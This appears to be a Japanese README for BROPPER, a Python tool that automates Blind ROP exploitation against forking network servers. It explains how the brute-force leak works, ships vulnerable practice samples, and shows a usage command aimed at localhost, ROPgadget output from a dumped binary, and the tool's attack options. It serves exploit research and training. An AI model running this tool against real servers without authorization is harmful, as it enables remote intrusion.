
自動Blind ROPエクスプロイトPythonツール
BROP (Blind ROP) は、2014年にスタンフォード大学のAndrew Bittauによって発見された技術です。
nginxやApache、MySQLなどのほとんどのサーバーは、フォークした後でクライアントと通信します。これは、ASLRやPIEが有効でも、カナリアやアドレスが同じままであることを意味します。そのため、知識に基づいたブルートフォースを使用して情報を漏洩させ、その後動作するエクスプロイトを作成できます。
このリポジトリには、3つのカスタムの脆弱なサンプルが用意されています。直接実行するか、Dockerfileをビルドして実行できます。

BROPPERはバイナリをダンプします:

その後、ダンプされたバイナリからROPgadgetなどを使用してすべてのROPガジェットを抽出できます:
$ ROPgadget --binary dump
Gadgets information
============================================================
0x0000000000001177 : adc al, 0 ; add byte ptr [rax], al ; jmp 0x1020
0x0000000000001157 : adc al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x1020
0x0000000000001137 : adc byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x1020
...
...
...
0x0000000000001192 : xor ch, byte ptr [rdi] ; add byte ptr [rax], al ; push 0x16 ; jmp 0x1020
0x000000000000182e : xor eax, 0x891 ; mov rdi, rax ; call rcx
0x0000000000001861 : xor eax, 0xffffff22 ; mov rdi, rax ; call rcx
Unique gadgets found: 235
このスクリプトを使用するには:
python3 -m pip install -r requirements.txt
python3 bropper.py -t 127.0.0.1 -p 1337 --wait "Password :" --expected Bad --expected-stop Welcome -o dump
$ python3 bropper.py -h
usage: bropper.py [-h] -t TARGET -p PORT --expected-stop EXPECTED_STOP --expected EXPECTED --wait WAIT -o OUTPUT [--offset OFFSET] [--canary CANARY] [--no-canary] [--rbp RBP] [--rip RIP] [--stop STOP]
[--brop BROP] [--plt PLT] [--strcmp STRCMP] [--elf ELF]
Description message
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
target url
-p PORT, --port PORT target port
--expected-stop EXPECTED_STOP
Expected response for the stop gadget
--expected EXPECTED Expected normal response
--wait WAIT String to wait before sending payload
-o OUTPUT, --output OUTPUT
File to write dumped remote binary
--offset OFFSET set a offset value
--canary CANARY set a canary value
--no-canary Use this argument if there is no stack canary protection
--rbp RBP set rbp address
--rip RIP set rip address
--stop STOP set stop gadget address
--brop BROP set brop gadget address
--plt PLT set plt address
--strcmp STRCMP set strcmp entry value
--elf ELF set elf address
プルリクエストを歓迎します。他の機能を追加したい場合は、お気軽にIssueを開いてください。